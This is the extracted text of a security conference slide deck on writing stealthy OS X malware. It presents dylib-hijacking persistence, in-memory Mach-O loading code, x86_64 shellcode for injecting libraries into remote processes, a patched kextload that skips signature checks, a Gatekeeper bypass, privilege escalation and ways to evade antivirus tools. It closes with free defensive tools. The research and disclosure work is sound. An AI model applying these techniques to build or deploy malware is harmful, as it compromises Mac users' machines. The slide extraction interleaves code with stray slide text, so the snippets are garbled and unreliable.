###### Writing Bad @$$ Malware for OS X ----- ###### WHOIS always looking for more experts! “sources a global contingent of vetted security experts worldwide and pays them on an incentivized basis to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints.” @patrickwardle ----- ###### AN OUTLINE this talk will cover… bad @$$ malware overview of os x defenses malware infection persistence self-defense features bypassing psps ----- ###### OVERVIEW OF OS X MALWARE the current status quo ----- ###### THE RISE OF MACS macs are everywhere (home & enterprise) doesn’t include iDevices 14 10.5 7 #3 usa / #5 worldwide vendor in pc shipments 3.5 0 '09 '10 '11 '12 '13 year macs as % of total usa pc sales "Mac notebook sales have grown 21% over the last year, while total industry sales have fallen" -apple (3/2015) ----- ###### MALWARE ON OS X? but macs don’t get malware…right? “It doesn’t get PC viruses. A Mac isn’t susceptible to the thousands of viruses plaguing Windows-based computers.” -apple.com (2012) ‘first’ virus (elk cloner) last 5 years; ~50 new infected apple II’s os x malware families "[2014] nearly 1000 unique attacks on Macs; 25 major families" -kasperksy ----- ###### OSX/XSLCMD provides reverse shell, keylogging, & screen capture __cstring:0000E910 db 'clipboardd',0 db 'com.apple.service.clipboardd.plist',0 db '/Library/LaunchAgents',0 OS X 10.9+ crashes db '',0Ah 'RunAtLoad',0Ah “a previously unknown variant of the APT backdoor XSLCmd which is designed to compromise Apple OS X systems” -fireeye.com launch agent reverse shell keylogging screen capture ----- ###### # fs_usage -­‐w -­‐f filesys 20:28:28.727871 open /Library/LaunchDaemons/com.JavaW.plist 20:28:28.727890 write B=0x16b ###### OSX/IWORM ‘standard’ backdoor, providing survey, download/execute, etc. infected torrents launch daemon plist # fs_usage -­‐w -­‐f filesys 20:28:28.727871 open /Library/LaunchDaemons/com.JavaW.plist 20:28:28.727890 write B=0x16b persisting ----- ###### OSX/WIRELURKER an iOS infector (via USB) “a collection of scripts, plists, & binaries all duct-taped together... making it easy to detect.” -j zdziarski infects connected iPhones texts infected app(s) 'Maiyadi App Store' contacts survey ----- ###### OSX/CRISIS (RCSMAC) hackingteam's implant; collect all things! persistence features “There is nothing to be impressed from them from a technical point of view.” -@osxreverser ----- ###### THE (KNOWN) STATUS QUO the current state of OS X malware ‣ 'hide' in plain site ‣ trojans ‣ stand-alone executables ‣ phishing/old bugs stealth infection ‣ occasionally exploits ‣ inelegantly implemented ‣ well known techniques ‣ suffice for the job ‣ majority: launch items features persistence ‣ no psp detection/logic ‣ minimal obfuscation ‣ trivial to detect ‣ trivial to detect & remove self-defense psps bypass “current OS X malware, while sufficient, is inelegant, amateur, and trivial to detect & prevent” grade: C+ ----- ###### BAD @$$ OS X MALWARE current malware++ ----- ###### INITIAL INFECTION VECTOR(S) current methods are rather lame protects dumb users fake installers/updates fake codecs Gatekeeper blocking untrusted code somewhat effective, but smart users should be ok. ----- ###### INFECTING SOFTWARE DOWNLOADS a far better infection channel MitM & infect non-SSL'd internet downloads still need to bypass GateKeeper... ;) HTTP :( my dock ----- ###### INFECTING AV SOFTWARE DOWNLOADS these should be secure, right!? all the security software I could find, was downloaded over HTTP! LittleSnitch ClamXav Sophos ----- ###### PERSISTANCE current methods are very lame MacProtector's login item persistence methods $ python knockknock.py com.apple.MailServiceAgentHelper path: /usr/bin/com.apple.MailServiceAgentHelper com.apple.appstore.PluginHelper path: /usr/bin/com.apple.appstore.PluginHelper launch items login items periodicdate path: /usr/bin/periodicdate systemkeychain-­‐helper ‣ well known path: /usr/bin/systemkeychain-­‐helper ‣ easily visible ----- ###### BINARY INFECTION? fairly stealthy & difficult to disinfect OS loader verifies all signatures :( killed by the loader Process: Safari [1599] Path: Safari.app/Contents/MacOS/Safari Exception Type: EXC_CRASH (Code Signature Invalid) Exception Codes: 0x0000000000000000, 0x0000000000000000 ----- ###### BINARY INFECTION? the crypto seems solid, but what if it was gone? code signature # md5 Safari.app/Contents/MacOS/Safari -­‐> 633d043cf9742d6f0787acdee742c10d # unsign.py Safari.app/Contents/MacOS/Safari Safari code signature removed # md5 Safari.app/Contents/MacOS/Safari -­‐> 825edd6a1e3aefa98d7cf99a60bac409 $ open /Applications/Safari.app && ps aux | grep Safari :) patrick 31337 /Applications/Safari.app ----- ###### PERSISTENCE VIA BINARY INFECTION google 'OS.X/Boubou' (now), lots of options! hijack entry point? add new ? ``` LC_LOAD_DYLIB self-contained difficult to disinfect! somewhat difficult to detect ``` ----- ###### DYLIB HIJACKING white paper ``` www.virusbtn.com/dylib an overview app dir "I need " .dylib .dylib .dylib that references a non-existent dylib LC_LOAD_WEAK_DYLIB with 'd import & multiple with the LC_LOAD*_DYLIB @rpath LC_RPATHs run-path dependent library not found in a primary run-path search path ``` ----- ###### DYLIB HIJACKING PERSISTENCE via Apple's PhotoStreamAgent ('iCloudPhotos.app') configure hijacker against (dylib) ``` PhotoFoundation copy to /Applications/iPhoto.app/Contents/ Library/LoginItems/PhotoFoundation.framework/ PhotoStreamAgent Versions/A/PhotoFoundation $ reboot $ lsof -­‐p /Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation /Applications/iPhoto.app/Contents/Frameworks/PhotoFoundation.framework/Versions/A/PhotoFoundation novel abuses legitimate no new processes functionality of OS X no binary/OS modifications ``` ----- ###### PLUGIN PERSISTENCE abusing system plugins for persistence for all files: ``` public.data plugin match type spotlight importer template $ reboot $ lsof -­‐p /System/Library/Frameworks/CoreServices.framework/../Metadata.framework/Versions/A/Support/mdworker /Library/Spotlight/persist.mdimporter/Contents/MacOS/persist no new procs abuses legitimate data 'sniffer' functionality of OS X 'on-demand' ``` ----- ###### SELF-DEFENSE currently, essentially non-existent too easy for the AV companies! trivial to find self-defense methods trivial to analyze trivial to disinfect some crypto 'hide' in plain sight ----- ###### ENCRYPTED MACH-O BINARIES abusing OS X's natively supported encryption $ strings -­‐a myMalware applicationDidFinishLaunching: //load & decrypt segments @"NSString"16@0:8 load_segment(...){ I <3 BLACKHATE! //decrypt encrypted segments if(scp-­‐>flags & SG_PROTECTED_VERSION_1) $ ./protect myMalware unprotect_dsmos_segment(scp-­‐>fileoff, scp-­‐>filesize, vp, pager_offset, map, map_addr, map_size); encrypting 'myMalware' } type: CPU_TYPE_X86_64 //decrypt chunk unprotect_dsmos_segment(...){ encryption complete //function pointer to decryption routine crypt_info.page_decrypt = dsmos_page_transform; $ strings -­‐a myMalware n^jd[P5{Q //decrypt vm_map_apple_protected(map, map_addr, map_addr + map_size, r_`EYFaJq07 &crypt_info); } algo: Blowfish ourhardworkbythesewordsguar known malware: ``` dedpleasedontsteal(c)AppleC ``` ----- ``` N: environmental observation H: a one way (hash) function M: hash(es) H of observation N, needed for activation, carried by agent K: a key ``` ###### STRONGLY ENCRYPT YOUR MALWARE tie to a specific target "environmental key generation towards clueless agents" ``` N: environmental observation H: a one way (hash) function M: hash(es) H of observation N, needed for activation, carried by agent K: a key //at runtime if H(H(N)) = M then let K := H(N) intended target any other 'equation malware' "[the malware] tied the infection to the specific machine, and meant the payload couldn't be decrypted without knowing the NTFS object ID" ``` ----- ###### IN-MEMORY DECRYPTION & LOADING custom crypto, requires custom loader custom in-memory C&C server loader? memory load mapping link dependencies image OS X supports in-memory loading! ----- ###### IN-MEMORY MACH-O LOADING supports in-memory loading/linking ``` dyld no longer hosted //vars NSObjectFileImage fileImage = NULL; NSModule module = NULL; sample code NSSymbol symbol = NULL; released by apple void (*function)(const char *message); (2005) //have an in-­‐memory (file) image of a mach-­‐O file to load/link // -­‐>note: memory must be page-­‐aligned and alloc'd via vm_alloc! //create object file image NSCreateObjectFileImageFromMemory(codeAddr, codeSize, &fileImage); //link module module = NSLinkModule(fileImage, "", NSLINKMODULE_OPTION_PRIVATE); 'MemoryBasedBundle' //lookup exported symbol (function) symbol = NSLookupSymbolInModule(module, "_" "HelloBlackHat"); //get exported function's address function = NSAddressOfSymbol(symbol); //invoke exported function function("thanks for being so offensive ;)"); stealth++ loading a mach-O file from memory ``` ----- ###### SELF DEFENSE # /usr/bin/opensnoop other random ideas 0 90189 AVSCANNER malware.dylib detect local access (dtrace) self-monitoring? prevent deletion? virusTotal "The flag can only be ``` schg detect detections unset in single-user mode" 40 30 # chflags schg malware.dylib 20 # rm malware.dylib rm: malware.dylib: Operation not permitted 10 0 jan feb mar apr may 'complicating' deletion ``` ----- ###### RUN-TIME PROCESS INJECTION getting code into remote processes the goal at run-time, inject arbitrary dynamic libraries (dylibs) into arbitrary process no x86_64 :( mach_inject (PPC & i386) mac hacker's handbook buggy/broken :( run-time injection (intentionally) x86_64 ----- ###### RUN-TIME PROCESS INJECTION determining target process' architecture //check if remote process is x86_64 BOOL Is64Bit(pid_t targetPID) { //info struct struct proc_bsdshortinfo procInfo; //get proc info // -­‐>assumes valid pid, etc proc_pidinfo(targetPID, PROC_PIDT_SHORTBSDINFO, 0, &procInfo, PROC_PIDT_SHORTBSDINFO_SIZE); 64 //'pbsi_flags' has a 64-­‐bit mask return procInfo.pbsi_flags & PROC_FLAG_LP64; all 64-bit } external process, architecture detection ``` 32 3rd-party ``` ----- ###### RUN-TIME PROCESS INJECTION target's process architecture ``` www.newosxbook.com //remote library loading shellcode (x86_64) char shellCode[] = 64 "\x90" // nop.. "\x55" // pushq %rbp "\x48\x89\xe5" // movq %rsp, %rbp "\x48\x83\xec\x20" // subq $32, %rsp "\x89\x7d\xfc" // movl %edi, -­‐4(%rbp) "\x48\x89\x75\xf0" // movq %rsi, -­‐16(%rbp) "\xb0\x00" // movb $0, %al // call pthread_set_self "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $0, %rdi "\x48\xb8" "_PTHRDSS" // movabsq $140735540045793, %rax "\xff\xd0" // callq *%rax "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $0, %rsi "\x48\x8d\x3d\x2c\x00\x00\x00" // leaq 44(%rip), %rdi // dlopen addrs patched "\x48\xb8" "DLOPEN__" "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $140735516395848, %rax// movabsq $0, %rsi in at runtime "\xff\xd0" // callq *%rax // sleep(1000000)... "\x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00" // movabsq $10000000000, %rdi "\x48\xb8" "SLEEP___" // movabsq $140735516630165, %rax "\xff\xd0" // callq *%rax } // plenty of space for a full path name here "LIBLIBLIBLIB" "\x00\x00\x00\x00\x00\x00...."; ``` ----- ###### RUN-TIME PROCESS INJECTION getting code into remote processes or anything! ``` pthread_set_self() task_for_pid() vm_protect() dlopen() injected shellcode mach_vm_allocate() thread_create_running() ``` ----- ###### LOAD-TIME PROCESS INJECTION dylib injection (again) ftw! gain automatic & persistent code execution within a process only via a dynamic library hijack no binary / OS file modifications no process monitoring < > ``` 010 no complex runtime injection no detection of injection ``` ----- ###### LOAD-TIME PROCESS INJECTION into Apple's Xcode $ python dylibHijackScanner.py Xcode is vulnerable (multiple rpaths) 'binary': '/Applications/Xcode.app/Contents/MacOS/Xcode' 'importedDylib': '/DVTFoundation.framework/Versions/A/DVTFoundation' 'LC_RPATH': '/Applications/Xcode.app/Contents/Frameworks' configure hijacker against (dylib) ``` DVTFoundation copy to /Applications/Xcode.app/Contents/ Frameworks/DVTFoundation.framework/Versions/A/ Xcode do you trust your compiler now!? (k thompson) ``` ----- ###### BYPASSING SECURITY PRODUCTS/TECHNOLOGIES ...starting with Apple's so we’re all safe now, right?!? gatekeeper xprotect nope! < } ‘wins’ os x sandbox code-signing ----- ###### BYPASSING GATEKEEPER allowing unsigned code to execute the goal circumvent gatekeeper's draconic blockage via a dynamic library hijack bypass this? ----- ###### HOW GATEKEEPER WORKS all files with quarantine attribute are checked safari, etc. tags downloaded content //attributes $ xattr -­‐l ~/Downloads/malware.dmg com.apple.quarantine:0001;534e3038; Safari; B8E3DA59-­‐32F6-­‐4580-­‐8AB3... quarantine attributes "Gatekeeper is an anti-malware feature of the OS X operating system. It allows users to restrict which sources they can install applications from, in order to reduce the likelihood of executing a ----- ###### GATEKEEPER BYPASS verified, so can't go home gatekeeper, you are drunk! not verified! modify ``` .dylib (signed) application gatekeeper only verifies the app bundle!! .dmg/.zip layout find an -signed or 'mac app store' app that contains an external relative reference to a hijackable dylib create a .dmg with the necessary folder structure to contain the malicious dylib in the externally referenced location #winning ``` ----- ###### GATEKEEPER BYPASS 1) a signed app that contains an external reference to hijackable dylib ``` spctl tells you if gatekeeper will accept the app $ spctl -­‐vat execute /Applications/Xcode.app/Contents/Applications/Instruments.app Instruments.app: accepted source=Apple System $ otool -­‐l Instruments.app/Contents/MacOS/Instruments Load command 16 cmd LC_LOAD_WEAK_DYLIB name @rpath/CoreSimulator.framework/Versions/A/CoreSimulator Load command 30 cmd LC_RPATH path @executable_path/../../../../SharedFrameworks ``` ----- ###### GATEKEEPER BYPASS 2) create a .dmg with the necessary layout required directory structure 'clean up' the .dmg ‣ hide files/folder (deployable) malicious .dmg ‣ set top-level alias to app ‣ change icon & background ‣ make read-only ----- ###### GATEKEEPER BYPASS still can bypass ;) 3) #winning ``` CVE 2015-3715 patched in OS X 10.10.4 gatekeeper setting's (maximum) unsigned (non-Mac App Store) standard alert code execution!! ``` ----- ###### BYPASSING XPROTECT avoiding detection the goal circumvent XProtect's malware detection so that malware can run in an uninhibited manner bypass this? ----- ###### BYPASSING XPROTECT apple's built-in AV product is weak sauce name bypasses hash file name recompile write new XProtect signature file (iWorm) ...or just rename! ----- ###### ESCAPING THE OS X SANDBOX decently secure, but lots of OS X bugs! the goal escape from the OS X sandbox to so that our malicious code can perform malicious actions. app sandboxed app [ bypasses ] 20+ bugs that could bypass the sandbox (‘project zero’) "Unauthorized Cross-App Resource Access on Mac OS X & iOS" ----- ###### BYPASSING KERNEL-MODE CODE SIGNING allowing unsigned kext to load the goal load malicious unsigned kexts into the kernel bypass this? ----- ###### BYPASSING KERNEL-MODE CODE SIGNING directly interface with the kernel loadKextsIntoKernel(KextloadArgs * toolArgs) { //sigResult = checkKextSignature(theKext, 0x1, earlyBoot); //always OK! sigResult = 0; download patch & recompile } ``` kext_tools kextload patched kextload //unload kext daemon # launchctl unload /System/Library/LaunchDaemons/com.apple.kextd.plist //load (unsigned) driver with custom kext_load # ./patchedKextload -­‐v unsigned.kext Can't contact kextd; attempting to load directly into kernel //profit :) # kextstat | grep -­‐i unsigned 138 0 0xffffff7f82eeb000 com.synack.unsigned ``` ----- ###### NEED ROOT? CVE-2015-3673 finally patched; OS X 10.10.4 rootpipe reborn! copy to to ``` Directory Utility /tmp get write permissions $ ls -­‐lart /private/tmp drwxr-­‐xr-­‐x patrick wheel Directory Utility.app evil plugin copy plugin (.daplugin) into Directory 's internal plugin directory Utility XPC request Dir. Utility execute Directory Utility authenticates ``` ----- ###### BYPASSING SECURITY PRODUCTS ...and the rest (equally lame) bypasses LittleSnitch recompile write new ClamXav Sophos behavioral based (firewall) ----- ###### BYPASSING LITTLESNITCH abusing trust to access the network the goal generically bypass LittleSnitch to allow malicious code to access the network in an uninhibited manner? bypass this? ----- ###### LITTLE SNITCH BYPASS 0X1 load-time 'injection' into a trusted process $ python dylibHijackScanner.py GPG Keychain is vulnerable (weak/rpath'd dylib) 'binary': '/Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain' 'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg' 'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks' LittleSnitch rule for GPG Keychain GPG Keychain ----- ###### LITTLE SNITCH BYPASS 0X2 un-deletable system rule: more generically, via iCloud "anybody can talk to iCloud" LittleSnitch's iCloud rule iCloud o rly!?...yes! ----- ###### SIMPLE END-TO-END ATTACK doesn't require r00t! putting some pieces all together ``` persist persistently install a malicious dylib as a hijacker exfil file upload a file ('topSecret') to a remote iCloud account download & execute cmd download and run a command ('Calculator.app') ``` ----- ###### PSP TESTING the AV industry vs me ;) are these blocked? ``` persist exfil file download & execute cmd ClamXav Sophos LittleSnitch ``` ----- ``` DEFENSE free os x security tools ``` ----- ###### MY CONUNDRUM …I love my mac, but it's so easy to hack :/ I should write some OS X security tools to protect my Mac + ....and share 'em freely :) ha, BULLSHIT! "No one is going to provide you a quality service for nothing. If you’re not paying, you’re the product." -unnamed AV company ----- ###### OBJECTIVE-SEE free OS X tools & malware samples malware samples :) ----- ###### KNOCKKNOCK UI detecting persistence: now an app for that! KnockKnock (UI) ----- ###### KNOCKKNOCK UI VirusTotal integration detect submit rescan results VirusTotal integrations ----- ###### BLOCKBLOCK status bar continual runtime protection HackingTeam's OS X implant BlockBlock, block blocking :) ----- ###### TASKEXPLORER explore all running tasks (processes) filters signing virus total dylibs files network ----- ###### EL CAPITAN (OS X 10.11) next version of OS X to keep us all safe? "rootless" System Integrity Protection "A new security policy that applies to every running process, including privileged code and code that runs out of the sandbox. The policy extends additional protections to components on disk and at run-­‐time, only allowing system binaries to be modified by the system installer and software updates. Code injection and runtime attachments to system binaries are no longer permitted." -­‐apple.com the test: iWorm vs. OS X 10.11 (beta 3) "wut!?" ----- ###### CONCLUSIONS …wrapping this up current OS X malware & PSP product are lame! improve the malwarez infection persistence self-defense features bypassing psps think differently ----- ###### QUESTIONS & ANSWERS feel free to contact me any time! patrick@synack.com @patrickwardle final thought ;) "What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?" -DJ-2000, reddit.com ----- ###### credits - thezooom.com - deviantart.com (FreshFarhan) - http://th07.deviantart.net/fs70/PRE/f/2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg - iconmonstr.com - images flaticon.com - @osxreverser - http://reverse.put.as/Hitcon_2012_Presentation.pdf - https://www.syscan.org/index.php/download/get/9ee8ed70ddcb2d53169b2420f2fa286e/ SyScan15%20Pedro%20Vilaca%20-%20BadXNU%20a%20rotten%20apple - https://reverse.put.as/2013/11/23/breaking-os-x-signed-kernel-extensions-with-a-nop/ - www.newosxbook.com - mac hacker's handbook talks/books -----